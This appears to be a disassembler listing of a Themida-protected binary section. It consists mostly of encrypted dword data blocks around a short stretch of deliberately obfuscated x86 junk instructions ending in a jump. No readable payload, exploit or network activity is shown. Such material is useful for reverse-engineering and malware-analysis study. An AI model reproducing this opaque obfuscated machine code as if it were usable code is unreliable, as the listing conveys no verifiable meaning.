		dd 66487EA3h, 32CFD48h,	39841A3Bh, 23138301h, 0A0640D2Ah
		dd 22210BFFh, 0F87B4C73h, 0B536ED88h, 0AF15145h, 0C5000000h
		dd 6DDD624Fh, 80B65429h, 5ACA247Ch, 74E4475Ch, 63D33142h
		dd 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h, 52C24330h
		dd 7AEA4F64h, 8953783Ch, 4C381E3h, 83000000h, 1C8704EBh
		dd 24248B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		push	61B73ACh
		mov	edx, [esp]
		add	esp, 4
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	242Bh
		mov	[esp], edx
		pop	dword ptr [edi+8]
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_581882
; ---------------------------------------------------------------------------
		dd 73C1712Ch, 1B7753B8h, 0FFC50306h, 0FC4DA1E0h, 0BF433F55h
		dd 2E63F50Bh, 0E37D8553h, 1640E851h, 0D1F90855h, 43EEBF4Ah
		dd 0BDB6A00Dh, 0C290897Ah, 3DD3E724h, 23840A12h, 0B34C5B70h
		dd 0FC711B59h, 0F8278D7Ah, 1271B14Fh, 0AC15B96Dh, 0F08D8D2Ch
		dd 60061B78h, 0BE58BA66h, 5F5F5656h, 218D8961h,	31061527h
		dd 151075B5h, 0CD85C706h, 0E4061504h, 6A000058h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 283C357h, 0A71BE593h, 15B58997h, 0E9061517h,	0Dh, 0D00D6B7Ah
		dd 0CBFB1039h, 2FD59D81h, 1585C73Fh, 61511h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 3D81C350h, 4EC1D270h, 9529A7EBh, 6150561h
		dd 1D45B5FFh, 0BF0F0615h, 9241B8D3h, 95FF373Bh,	61502C9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 7CC35545h
		dd 95FF006Ah, 6152E21h,	0BEBC08Bh, 3250C9BBh, 895DB57Fh
		dd 8D05669Ah, 1B79E78Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0AD442F54h, 0CCF1EF81h
		dd 68E0F60h, 0F000000h,	8Eh, 0BE900h, 39660000h, 0B5F9955Eh
		dd 0A9827BB7h, 0D18B6125h, 27218D89h, 6A0615h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0E46095C3h, 0CD85C772h, 54061504h, 6A00005Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 7655C353h, 8166D800h, 0C75738CBh, 15111585h,	6, 0B19D8B00h
		dd 0FF06152Dh, 151D45B5h, 4D9D8B06h, 0FF06152Ah, 1502C995h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0ADB58910h, 6A061518h, 2195FF00h, 8B06152Eh
		dd 0B00BEBC0h, 25875D13h, 0ACF9DA0Dh, 0CE53B2EFh, 365DB162h
		dd 26AEB153h, 5657A030h, 56A75832h, 0A3D3B132h,	0F20CFC24h
		dd 0C8CF7D23h, 56BA437Dh, 565DA0DBh, 11D9A832h,	0C5301E24h
		dd 8D7B0ECAh, 9A72DB8Ch, 71769A42h, 5675B342h, 20B43A32h
		dd 560B2859h, 0D6FDD132h, 0AA0D75EAh, 59ABB153h, 56D5B6BDh
		dd 5768BE32h, 0AE75B132h, 5642B132h, 5ADCBE32h,	59AEB132h
		dd 5657B7B0h, 5624BE32h, 56D5B132h, 56FA5832h, 13ABB132h
		dd 0D9DFD748h, 4BA9D25Ah, 13F368EBh, 62FCB855h,	56ABB16Fh
		dd 620A5932h, 5FDE78C5h, 0FA8CB132h, 0D7BAEFD7h, 30381BC5h
		dd 56CF42B9h, 56574932h, 36360052h, 56D5A5DBh, 7C6AD32h
		dd 0B7F4D67Fh, 2B323CE2h, 885FD558h, 832A5FCCh,	8DEED7B2h
		dd 56CAD0F2h, 56DF5832h, 864B132h, 0BD4AE6EEh, 8F8C4554h
		dd 0DC52B132h, 56AEB136h, 37863B52h, 0D0A4B132h, 56D5B13Ah
		dd 56E8373Dh, 3715B132h, 5053B132h, 5C5DB132h, 0A1009907h
		dd 40D4BE21h, 59ABB132h, 56D5A1B8h, 56E15832h, 6A06B132h
		dd 0CF705E26h, 0AE8BD1E5h, 36AEB15Ah, 3736D152h, 376A0E3Dh
		dd 0AEB5B132h, 598AD0CBh, 56147685h, 5738BE32h
		db 32h,	0B1h
word_5E156A	dw 0A35Dh		; DATA XREF: Themida_:0057B04Co
		dd 0DEA1B132h, 5657B123h, 56ABBDDBh, 0B354A32h,	0D38220B4h
		dd 8C0B21DFh, 36BAB17Eh, 564F5864h, 456EB132h, 777CFC5Fh
		dd 81C6FC95h, 2A315BA6h, 0ECE14DCCh, 5672586Bh,	0E5F8B132h
		dd 78CC85E3h, 56AED01Dh, 59AE3A52h, 56ABA0B8h, 56D95832h
		dd 0A626B132h, 4050A76Fh, 22808Fh, 0AA3C0663h, 5947B132h
		dd 0F857B132h, 0CCC71A3h, 0A3DEBC0Eh, 2559954Bh, 0EE15EF49h
		dd 32507DEDh, 7BE5D752h, 56BF58CEh, 0D1ACB132h,	554D9391h
		dd 0C53709C3h, 128B7EF7h, 37C83C5Dh, 59BAB153h,	565DBDB2h
		dd 5026BE32h, 5957B132h, 56ABB1BCh, 0BFD5B132h,	56EAB13Fh
		dd 0CC200063h, 0DF3DC068h, 0B09BF17Eh, 0AAAEB11Dh, 0DF58B132h
		dd 56ABB13Ah, 56D7333Dh, 378AB132h, 0DD7AB132h,	56BAB134h
		dd 59C3A52h, 56AED06Bh,	0AE57B1C7h, 0DFA4B132h,	56D5B133h
		dd 56EAB3CEh, 43FD7032h, 8472316Ch, 365DB153h, 72763054h
		dd 518FD0CFh, 56AEB137h, 56DAB130h, 56E8B108h, 567EB33Dh
		dd 59DAB132h, 565DB1BBh, 8C5E3132h, 0A357B153h,	37CBD152h
		dd 9DCE71B3h, 308BD3E3h, 37F75789h, 30DAB132h, 59DC53B3h
		dd 0AACF4BB9h, 3037B132h, 0AF2046B9h, 4152BE53h, 59EAB132h
		dd 5675A0B4h, 56B65832h, 142B132h, 0EC2176BAh, 762FC4Dh
		dd 56AB0DA6h, 0A3D5B1CBh, 308AB132h, 56146EB9h,	56B8DF32h
		dd 385DB1CBh, 83825730h, 0D731805Ch, 375D2AF3h,	453CB132h
		dd 0E5EAB132h, 0C4EB566Fh, 90E8A41Ah, 563B5E52h, 0EEE49B5Ah
		dd 36079327h, 664063Dh,	59B4D160h, 0CB2E203h, 52FCD06Ah
		dd 4A355F16h, 40DE117h,	37CEE362h, 407803Dh, 0EF1803Dh
		dd 67DAE968h, 5B03E362h, 4775B132h, 1B5EC644h, 1F0DA230h
		dd 53D2DE7Ch, 50BE803Dh, 70ABB132h, 0E468A555h,	0CB2EB31h
		dd 0C292216Ah, 0C39830Fh, 0C605EB6Ah, 3F5E8290h, 734B3EDCh
		dd 50422D6Bh, 90D5B132h, 43705B5h, 567B5811h, 2924B132h
		dd 0CDF7247Eh, 21D8A00Ah, 4555FCD6h, 7C3BD0AFh,	56D5B7DBh
		dd 52FD2732h, 0CBC693DFh, 0A02B2753h, 0D490D5C5h, 986761A1h
		dd 0BFD24DDDh, 56ABB122h, 0B173B0DAh, 0D5D88CA6h, 890B8832h
		dd 0AD30441Eh, 6752D0AFh, 56AEBDDBh, 0B4FA7532h, 78028141h
		dd 6CB0EDFDh, 0EB2EBD9h, 3458F565h, 0F89301C1h,	0ECB86D7Dh
		dd 0BECEE959h, 5657B137h, 0D2AE71CDh, 30B4EF68h, 65CF78B3h
		dd 5975B153h, 56BAB0B5h, 0BF3D4832h, 56AEB120h,	5B6CB1BDh
		dd 925A6692h, 5992671Bh, 0A9BA9D3Fh, 4DCF2AE2h,	37983F09h
		dd 0DA52B132h, 56AEB125h, 56595852h, 0B833B132h, 3E21010Ch
		dd 237869Ch, 625AF593h,	56DBD052h, 5DDEBE32h, 0BFAEB132h
		dd 5657B134h, 0EB23FCCAh, 56D5B6B1h, 0BFEAB1C7h, 5675B120h
		dd 7B60E8DCh, 0D20C7427h, 7BBF56C4h, 0F3ACDB68h, 56AB8819h
		dd 59D5B1C7h, 56EAA8BFh, 56615832h, 0A338B132h,	377A9D58h
		dd 1C46069Eh, 0F51513CCh, 0C0093B9Dh, 562D3350h, 56EA4D32h
		dd 36843B52h, 56BABADBh, 0CB48C432h, 95A4CEB3h,	7A1B2471h
		dd 3D443054h, 59B4D069h, 56EAB0BCh, 56754D32h, 36BAB1C7h
		dd 0B0500F54h, 56AD3D3Dh, 0BED7B132h, 56ABD026h, 56D43B3Dh
		dd 5613B132h, 46F0BE32h, 0BFBAB132h, 565DB139h,	855E13E6h
		dd 0DD6D08F9h, 564EF80Bh, 56C65832h, 0FBDDB132h, 543047D0h
		dd 0CE7FB387h, 9E5914B8h, 0A9053D7h, 0BF57B1B7h, 56ABB13Ah
		dd 0ACE71C35h, 4F50682Eh, 0DD7AB132h, 56BAB138h, 565DB4DBh
		dd 41DE432h, 56571776h,	0B12BD152h, 565ABE70h, 37EAB132h
		dd 5675B6DBh, 793E4932h, 23E678C6h, 59AEB153h, 5657BDB6h
		dd 5024BE32h, 59D5B132h, 56EAB1BDh, 56705832h, 25EDB132h
		dd 56F16CCDh, 5E27BE32h, 5957B132h, 56ABB3BCh, 56B4D132h
		dd 56F85832h, 0E237B132h, 0D48D2C69h, 0A660B03Fh, 3D7A0436h
		dd 4A3023E5h, 5C42B132h, 8FD5B132h, 64D19E23h, 0ADF3369Ah
		dd 0BFBAB1A3h, 565DB134h, 0AFF24373h, 5657C53Ch, 0BFABB1CEh
		dd 56D5B13Ah, 0E9CE7414h, 36F39B1Eh, 4753B132h,	0AC5DB132h
		dd 0C02E9AD4h, 0A7874442h, 309FC15Dh, 0BF58D2BDh, 5612B132h
		dd 56785832h, 1A3BB132h, 9458BFCAh, 0DF9FED18h,	56EC1CF4h
		dd 5E2FBE32h, 59D5B132h, 56EAB3BDh, 3614D132h, 56B8313Dh
		dd 90D6B132h, 87950A54h, 5957B153h, 56ABACBAh, 453DD132h
		dd 6FEAB132h, 3595B094h, 123B31DEh, 48F3E0BDh, 0B69EDDF7h
		dd 60F214Ah, 56ABD068h,	0AED5B1CBh, 0E1E5E652h,	0A3F5EFC8h
		dd 56BAD0CDh, 565C3A3Dh, 5657B132h, 57D0BE32h, 0AEABB132h
		dd 562CB132h, 59B8D132h, 5675B1BCh, 0D1B5EF32h,	565DB122h
		dd 56AEBBDAh, 642A9132h, 0F69CCA98h, 0E940123h,	36EAB153h
		dd 25C04AB9h, 59BAB153h, 565DA6B5h, 56BC5832h, 0B9E8B132h
		dd 0E2E943Dh, 54D15681h, 26214D0Ch, 0C9569922h,	5646B132h
		dd 565D4D32h, 850F0E52h, 504A9FEh, 56CAEE6Ah, 0D7B3D132h
		dd 0BE6352F8h, 5675B13Bh, 286433DCh, 3F645A2Ah,	8019BE5Bh
		dd 5BBED06Ch, 0ABABB132h, 0F515DC3Eh, 0C17C6017h, 3CFDC5Ch
		dd 0D6DAB132h, 0AE3C9FE1h, 5E47B132h, 6057B132h, 63372C2Ch
		dd 56574418h, 56EA4D32h, 56665952h, 8EAFB132h, 6A3BD220h
		dd 71BFB0ABh, 59E9177Eh, 4B8CA948h, 9054D768h, 0EFB2667Ch
		dd 6CAEB4BAh, 0AABAB153h, 565DBEDBh, 0CBE3E632h, 0C88E393Bh
		dd 0B47C4A1Eh, 0F537D9BAh, 0BF8AB132h, 5675B126h, 1F6D79C4h
		dd 7E3C7A29h, 1832B128h, 28C92A2Ah, 0F3D584EAh,	0D9DAD0C7h
		dd 56EAB133h, 0BF75B1CBh, 56BAB13Eh, 0ABCF3445h, 5424BE7Ch
		dd 601B26A6h, 0D1A4B132h, 56D5B13Eh, 56EAB6DBh,	3139A732h
		dd 6A47B954h, 58B4B132h, 0BFAEB132h, 224FD0E9h,	0AE31B253h
		dd 876ACE6Eh, 0AEEAB11Ah, 5689B132h, 56BA4D32h,	565358CBh
		dd 7971B132h, 33A173ABh, 0D0676C6Dh, 7E399A10h,	4203B132h
		dd 0C75B132h, 33DF0566h, 796E1FFEh, 0BA37005Fh,	0F623F844h
		dd 560F6706h, 0DDB3D132h, 56EAD0FDh, 98C2BE52h,	36DB45B8h
		dd 565E3A3Dh, 9E2EB132h, 50D5BEE1h, 59ABB132h, 56D5B1B7h
		dd 56EAD032h, 3675B1CEh, 59793A54h, 565DB1B1h, 56AED032h
		dd 3657B1C7h, 0DD7A3054h, 56D5D04Ch, 59EAB1CBh,	5675B6B7h
		dd 5738BE32h, 0A35DB132h, 0A3AEB1CEh, 56AEB132h, 3057D132h
		dd 25CE6BB3h, 0BFEAB153h, 5675B134h, 0A779F15Dh, 565DBA4Ah
		dd 56AE48CEh, 5957B1CAh, 56ABB0B5h, 56D54D32h, 36EAB1CEh
		dd 56783E3Dh, 5E53B132h, 915DB132h, 1B55A3B2h, 307EBD4Bh
		dd 37F44488h, 59D5B1C7h, 56EABBBFh, 3715D132h, 56BA303Dh
		dd 563CB132h, 56A35832h, 3FFDB132h, 0B3FCA396h,	1D39EDE5h
		dd 56310B01h, 5EFEBE32h, 59BAB132h, 565DB3B8h, 56CFD132h
		dd 57D3BE32h, 0AEABB132h, 8754D752h, 0DDE5EC3Ch, 5675B131h
		dd 377D0E3Dh, 56A4B132h, 4A27BE32h, 3657B132h, 4542D052h
		dd 5D5B132h, 9C8DC1EAh,	4B42DFB3h, 50ED1C18h, 0A9DD3B37h
		dd 59CFABB2h, 5657ABB4h, 5142D132h, 0EBD5B132h,	570D97A7h
		dd 509D3B65h, 73BAB132h, 7D7EE575h, 56CFEE9Dh, 56AE4432h
		dd 4526BE32h, 36D5B132h, 7EDF0854h, 5675B9DBh, 57D61532h
		dd 73B7065Ch, 56AED040h, 565F333Dh, 0DFA4B132h,	56D5B130h
		dd 56EAD052h, 5675BEDBh, 11D70C32h, 0A9DCAC9Eh,	393C1EE9h
		dd 469DC579h, 36CBB132h, 0DD6952B2h, 3716D0C5h,	9FA43052h
		dd 59FE7C9Fh, 565DB0B4h
		dd 56CF4D32h, 56595832h, 132DB132h, 68800CA0h, 21EACADFh
		dd 911B20C6h, 0BEDAB132h, 565DB139h, 0D0B0608Fh, 73F1142Eh
		dd 0A3B04614h, 593CD069h, 3FEAB132h, 89B19EE6h,	248C5E82h
		dd 0C63B8ECEh, 56AE9EC3h, 9F953052h, 30FE222Ch,	56B47EB9h
		dd 56EA4932h, 56645852h, 5B6DB132h, 0A2AEC136h,	7DCC78DFh
		dd 75B7709Eh, 0BFE61D65h, 56D5B13Eh, 0EC4B03CEh, 0CA9505A3h
		dd 4525FD1Ch, 0AE5DB153h, 0DDA1B132h, 5657B123h, 56A0343Dh
		dd 503CB132h, 9BEAB132h, 0EA7B005Ah, 59BAB162h,	565DB6B4h
		dd 5721BE32h, 0AE57B132h, 5142B132h, 1FD5B132h,	0B37401FAh
		dd 5675EE4Ah, 36BAB1CEh, 30973A54h, 4DAD60B3h, 5957B153h
		dd 56ABA4B5h, 56C55832h, 56A1B132h, 3D241395h, 0A9CC8BE0h
		dd 0B9BBB7D4h, 56AEA0BEh, 3657B1CEh, 0A820EA60h, 59D5B153h
		dd 56EAB6BBh, 0DD13D132h, 37D107F4h, 595DB1CBh,	56AEA1B1h
		dd 5CD2BE32h, 0BFABB132h, 56D5B137h, 8EF9AC04h,	3675B102h
		dd 8E124C8Ch, 0A5D6D70Eh, 36AEB153h, 0BF900E3Dh, 56ABB137h
		dd 0ED8EDB88h, 56EAD0FDh, 5674333Dh, 3643B132h,	36830E3Dh
		dd 0D66F0489h, 56D1BE27h, 37ABB132h, 0BFD5B153h, 56EAB139h
		dd 2F704ED9h, 0E5CAF5A6h, 564E522Dh, 56AE4832h,	87DCD752h
		dd 56ABBEDBh, 6D57FC32h, 93EFD2B5h, 0C7FB1F73h,	0FCAEE812h
		dd 595DB153h, 56AEB0B0h, 59374932h, 56ABB4B0h, 0B754D732h
		dd 1F5389DFh, 3710F4FEh, 0D2B5B132h, 565DB13Eh,	9715D752h
		dd 689130B7h, 37A2532Ch, 0DB023152h, 56E8353Dh,	922B132h
		dd 0BFBAB153h, 565DB139h, 2D7B70C9h, 0D0E36E5Ah, 5667A468h
		dd 5758BE32h, 0A3EAB132h, 0D37AB132h, 56BAB13Eh, 565B373Dh
		dd 0D5A1B132h, 5657B132h, 3657B132h, 56C23F3Dh,	4702B132h
		dd 3F75B132h, 3A81C094h, 129C997Ch, 0D08E097Dh,	98A290Ch
		dd 0C44A3069h, 37B55244h, 4703B132h, 9175B132h,	0A6A5BB21h
		dd 1EB0BC04h, 0A6509917h, 0E9F8CF6Dh, 0D6A4B132h, 56D5B13Eh
		dd 56EC393Dh, 0DA7AB132h, 56BAB132h, 56A1B132h,	56AE4432h
		dd 564D3F3Dh, 59CBB132h, 56D5B1B9h, 56E75832h, 0BBDDB132h
		dd 33D2C007h, 0BD057CA3h, 379802CBh, 0D637B132h, 0DDCDB6FCh
		dd 56D5D0E5h, 56EF353Dh, 5915B132h, 36DB728Dh, 0DD7678B2h
		dd 56AED0CAh, 55D6BE52h, 30ABB132h, 5E3D79B9h, 17EAB132h
		dd 74023F2Eh, 0C5E9800h, 0BF5DB153h, 56AEB13Eh,	0C45428ECh
		dd 6D80B29h, 1F58720Eh,	0D5E5B132h, 5675B133h, 0A3BAB1CBh
		dd 0BFA8B132h, 56AEB126h, 4D47A81Dh, 7BA7212h, 0F8F5A10Ah
		dd 0AADA090Dh, 921E4247h, 0D4B5B132h, 565DB133h, 56BA58CBh
		dd 0E86AB132h, 0F4113966h, 6D7332D4h, 2D918F09h, 0FD2B26B4h
		dd 56BA885Ch, 56453F3Dh, 0BECEB132h, 5657B122h,	5EF7E2A0h
		dd 8657D1B1h, 85392916h, 1F623FCEh, 56BAD069h, 5651313Dh
		dd 0DFA1B132h, 5657B134h, 56AB363Dh, 36B5B132h,	56EAA1DAh
		dd 0D5DAC332h, 7C6C738Bh, 3CC35E9Ah, 75AD49B5h,	0D731EAFAh
		dd 37BD5BF9h, 56B473B9h, 5B02D132h, 6875B132h, 0C095C7D8h
		dd 6D065BE7h, 0EB252FACh, 5657BFDAh, 7B472F32h,	0F5515D75h
		dd 0F4D10E7Bh, 9E4D62Fh, 0E305D768h, 565DD0D1h,	5E46D1CBh
		dd 0F757B132h, 674C67BBh, 599CED10h, 30B4608Dh,	56147AB9h
		dd 56BF5832h, 0AC35B132h, 56DAD8A8h, 5ED6BE32h,	59ABB132h
		dd 56D5B3B5h, 568BD132h, 57F7BE32h, 0AFBAB132h,	303DB132h
		dd 0DD22AE8Ch, 5657D0E5h, 56B9383Dh, 5B3CB132h,	0D0EAB132h
		dd 0E699C244h, 5D847A20h, 0BAA57B7Eh, 565BB132h, 56574832h
		dd 5E2CBECAh, 59D5B132h, 56EAB3BDh, 5614D132h, 5E3DBE32h
		dd 595DB132h, 56AEB3B5h, 5636D132h, 8E2AD132h, 0C24973Bh
		dd 0BE6BD763h, 372FA2E4h, 0D9B5B132h, 565DB133h, 36AEB1CAh
		dd 5657BBDBh, 0F5B16C32h, 0FFDF5C35h, 0E63BE2CFh, 5675D0DBh
		dd 0A3E84452h, 565DD068h, 3B613052h, 0E143F322h, 56ABD049h
		dd 56C23C3Dh, 0DCE5B132h, 5675B123h, 56BABDDBh,	0DD6FB532h
		dd 55337E83h, 0AB116744h, 59ABB128h, 56D5B2BDh,	3713D132h
		dd 5E9CB132h, 0D2BAB132h, 0A3C2AF5Ah, 569DFCD7h, 57D4BE32h
		dd 0AAABB132h, 0D0DAB132h, 56EAB135h, 0D68C3B52h, 36DB52E7h
		dd 0EE3B72B9h, 56CFA3D3h, 8FD7D132h, 9C3208DDh,	56B4FCB8h
		dd 56E45832h, 5A98B132h, 0F09AA9CFh, 5EEB6538h,	4E9CFA1Fh
		dd 56A2B132h, 5B42D132h, 0A9D5B132h, 69F8CDEAh,	792F910Eh
		dd 0F2B6CF58h, 565E393Dh, 0DDC8B132h, 0D458D0CCh, 56ABB13Ah
		dd 4A243052h, 37E62619h, 5915B132h, 56BAB2BDh, 40953132h
		dd 5A5D3054h, 5657D0D8h, 56ABBADBh, 0B9131A32h,	0F8C3DDDEh
		dd 1F1136D4h, 0D6B5B132h, 565DB135h, 59F1E152h,	56364E85h
		dd 56AB4932h, 56D5B6DBh, 149E5232h, 0E959F387h,	5353B132h
		dd 0FB5DB132h, 9A20B287h, 56AFB132h, 56AC5832h,	0F1F2B132h
		dd 6E99B391h, 3675B160h, 563DBE64h, 0C5DB132h, 0BFAEB153h
		dd 5657B135h, 648716B8h, 56AF5AF1h, 0E9E5D132h,	0D713D1ECh
		dd 308B31E5h, 5AE158B3h, 56AED053h, 5657B8DBh, 0DDDC0C32h
		dd 0FE334876h, 56EA0C49h, 3675B1CEh, 56BAB9DBh,	0CC049F32h
		dd 87F2FBA4h, 56364D3Dh, 0DCA4D132h, 56D5B132h,	39353054h
		dd 5675D030h, 0F7CD0E52h, 5CB4A048h, 15AEB132h,	0F7D77D65h
		dd 4BBC838Ah, 56D5D078h, 56EABBDBh, 1D417232h, 29555C9h
		dd 5640F2B9h, 56BD5832h, 23CDB132h, 0B948AA93h,	0E9F2FB91h
		dd 11F3BDFBh, 5E59B46Ah, 0AFBAB141h, 0D752B132h, 56AEB121h
		dd 5657BFDBh, 201A9132h, 72EB4B76h, 85471F0Ch, 5654B224h
		dd 5C33BE32h, 365DB132h, 0BF403054h, 85DCD798h,	59ABB153h
		dd 56D5B0B3h, 56124432h, 0D47AD132h, 56BAB134h,	565D3E3Dh
		dd 0E217B132h, 3725D883h, 5142B132h, 0C9D5B132h, 1317E27Bh
		dd 5675D3F5h, 56BAB8DBh, 0E02F9132h, 9FF3C49Ch,	5657E5C0h
		dd 56BD353Dh, 0BFB5B132h, 56EAB13Dh, 954BE286h,	563B9525h
		dd 1EE9080Fh, 377572D0h, 56A2B132h, 5829BE32h, 0BFD5B132h
		dd 56EAB13Bh, 0C0BEFBDDh, 0A3F0A82Bh, 595DB190h, 56AEA9B6h
		dd 56445832h, 0CD87B132h, 134AFC0h, 9EE4F4D8h, 0A28B76Dh
		dd 462EA4E0h, 0AA5DB17Eh, 5652B132h, 56455832h,	57D9B132h
		dd 425AF006h, 0BCD6902h, 0E63BB501h, 0A99633D6h, 51B4B132h
		dd 9CAEB132h, 23F104BCh, 56AB7CD7h, 4659BE52h, 0BFEAB132h
		dd 5675B139h, 72AB1DA9h, 5CA569F9h, 37B36CC4h, 0D558B132h
		dd 56ABB138h, 0C4070B52h, 0E1E5ABFDh, 5675D0FBh, 0BFBAB1C7h
		dd 565DB13Bh, 69E9F7E2h, 41D5E029h, 0BFABB15Fh,	56D5B13Dh
		dd 770B313Eh, 16A7784Fh, 5261F73Eh, 59154984h, 56AEA8B7h
		dd 56435832h, 7A6CB132h, 1B266660h, 0FBB195D3h,	0DB4B440Ch
		dd 0D30AA424h, 565D9D57h, 56AF303Dh, 0AEA2B132h, 0A357B132h
		dd 593CB132h, 6AEAB132h, 0DA6BA61Fh, 49FB15A4h,	25E82C93h
		dd 56AE14E7h, 56445852h, 0EB62B132h, 0B52F3228h, 0A774550Eh
		dd 0A3B09FFh, 0A5D3E247h, 50DBBEADh, 59AEB132h,	5657B1B4h
		dd 56ABD032h, 56DD3E3Dh, 0DCE5B132h, 5675B130h,	5642D052h
		dd 564D5832h, 3DB1B132h, 6218C142h, 956EFED5h, 0AA96AD96h
		dd 56EAA8ACh, 0BE360952h, 5352D273h, 0C45DB132h, 7CF83D8h
		dd 3636EEC7h, 20D53188h, 8154D708h, 568B07A2h, 56754D32h
		dd 36BAB1C7h, 0B6DC70B9h
		dd 2F592D86h, 0BF57B153h, 56ABB121h, 7B06E302h,	0FB99BC06h
		dd 0AB728234h, 0C543BA23h, 599C2E38h, 56AEB0B1h, 56574932h
		dd 5C26BECEh, 0BFD5B132h, 56EAB137h, 5BD8A9D2h,	0AEBAB1E0h
		dd 0D652B132h, 56AEB135h, 56563C3Dh, 5653B132h,	5155BE32h
		dd 59EAB132h, 5675B0B8h, 56BA4832h, 56503C3Dh, 5E47B132h
		dd 0C257B132h, 0CBBEC464h, 56DFCEB3h, 0B76AD132h, 5675D013h
		dd 97304452h, 90D6D153h, 3761063Dh, 56AEB132h, 0E9A4D132h
		dd 56C558F8h, 7998B132h, 8D52C7E0h, 0CD69B105h,	0AC2750F9h
		dd 56CF3EA6h, 565B5832h, 580B132h, 0F5FD21F5h, 370F207Fh
		dd 0D47A36B0h, 56BAB12Ah, 565DA2DBh, 4E25CA32h,	5B53395Ch
		dd 85059DF1h, 0B99CC25Bh, 0E680F0DBh, 0BF15B132h, 56BAB126h
		dd 0DAC6078Bh, 0FE9D102Fh, 0BD6CC76Ch, 0CF79C900h, 0CB79767Dh
		dd 0E060A54h, 567D5853h, 3B11B132h, 0E9097287h,	56AE6EAEh
		dd 5649373Dh, 0D3A4B132h, 56D5B12Ah, 56EAA2DBh,	0A41E8032h
		dd 695C277Ch, 1CC8B892h, 0D6FCE6ABh, 0C4DEF4C5h, 5B42B132h
		dd 55D5B132h, 8D6F9721h, 5B0EE6Fh, 40E0F00Bh, 0BEA53A52h
		dd 56AEB138h, 0EB57B0F4h, 6CE61379h, 9454A0F5h,	6B027CEBh
		dd 5675D06Ah, 56B43E3Dh, 5FB4B132h, 8AAEB132h, 399D6C57h
		dd 92C474C1h, 5629B132h, 56EA4D32h, 5675B4DBh, 0F4F0E532h
		dd 56A87BE4h, 56BF5832h, 0E8C5B132h, 95D01771h,	209D39F0h
		dd 419BFBCFh, 56F9F160h, 0E1B5D132h, 565DD0F5h,	56AE44C7h
		dd 5657A3DBh, 0D2641332h, 7F8597D6h, 7F9EF198h,	9FB6A9D4h
		dd 56774DDAh, 50B4D132h, 65AEB132h, 59936ECAh, 0A94F0892h
		dd 56B488AFh, 0E1E5D132h, 375301F9h, 5943B132h,	565DA8BCh
		dd 56BA5832h, 4C5EB132h, 81DC9805h, 487A664Ch, 936632A6h
		dd 6D49D910h, 56BA49BBh, 565DA5DBh, 989A2932h, 0CCD7CEE5h
		dd 6BB13E15h, 63E124E9h, 0BC7E300h, 5975B183h, 56BAB9BFh
		dd 0D452D132h, 56AEB132h, 3657B153h, 1E7E66B3h,	0EDB3ECF9h
		dd 568B239Eh, 58F7BE32h, 0BFBAB132h, 565DB13Bh,	0ED1DFDB0h
		dd 3142C695h, 0BE21D12Bh, 56B4B587h, 0FBCD132h,	0AA656BB3h
		dd 0BFDBC629h, 565DB135h, 53C5035Ch, 56F8512Fh,	5E24BE32h
		dd 59D5B132h, 56EAB3B5h, 5614D132h, 56BA4432h, 5640363Dh
		dd 0D6A1B132h, 5657B125h, 56ABA3DBh, 77A7BC32h,	0A43C6B1Ah
		dd 0BC269139h, 4D13017Bh, 565EBD59h, 56BE5832h,	157EB132h
		dd 0FC7F3F49h, 8E5D037Fh, 0EE34C53Dh, 5675F6FBh, 59BAB1CBh
		dd 565DBCB4h, 56A65832h, 0C4E9B132h, 6781D83Ah,	562D815Dh
		dd 5762BE32h, 0A375B132h, 59BAB1CEh, 565DA0B2h,	3B1AD132h
		dd 5657B6DAh, 0C0F28332h, 43C24B7Dh, 56EAD06Ah,	4FFFBE52h
		dd 0BFBAB132h, 565DB126h, 88F40899h, 5C121F34h,	51DB8983h
		dd 7FD3C2E2h, 0BCE51F42h, 567D5853h, 0C213B132h, 7C86EDC6h
		dd 56AE1E09h, 91DDD1CEh, 0B82AD761h, 378A415Fh,	0D78AB132h
		dd 4CA865F2h, 56AE5825h, 0FDECB132h, 933C8C29h,	681F9DAh
		dd 0B935EBCBh, 7FE92786h, 0A38B5F2Ch, 568CB132h, 0D7DCD132h
		dd 593D8FC1h, 56AEB3B5h, 3736D132h, 30CBB132h, 0D39463B3h
		dd 55995FB3h, 5614A59Ch, 56B55832h, 10FFB132h, 16E663B3h
		dd 0D24EFAD0h, 146F85CCh, 36D5B157h, 0DB930E54h, 5675BDDBh
		dd 965A9932h, 769A0EEh,	0DF5B2A37h, 0BF37D0D0h,	56ABB13Fh
		dd 0BC210B30h, 8CCCCF76h, 0F47C356h, 5439BEA4h,	365DB132h
		dd 56AED053h, 0EE314952h, 56CA83A1h, 56C65832h,	2180B132h
		dd 1B883A6Ch, 473DF889h, 5174167Fh, 0F7AC0871h,	56574D98h
		dd 0BFABB1CAh, 56D5B13Fh, 0CEA597Fh, 6E63573Dh,	5B4B6F2Dh
		dd 595DB1DCh, 56AEA7B0h, 56465832h, 8E2AB132h, 72B185ECh
		dd 0B26A58CEh, 0C0D577A0h, 562A8862h, 564F5832h, 8B1EB132h
		dd 68604895h, 427BEDh, 0A0779B02h, 88A58B37h, 5975B1CBh
		dd 56BAB9B5h, 54D8BE32h, 36AEB132h, 3657B153h, 8E2AD752h
		dd 593CD804h, 1EAB132h,	0A7FB7FFFh, 0B57A1C6Fh,	0FF3C2B70h
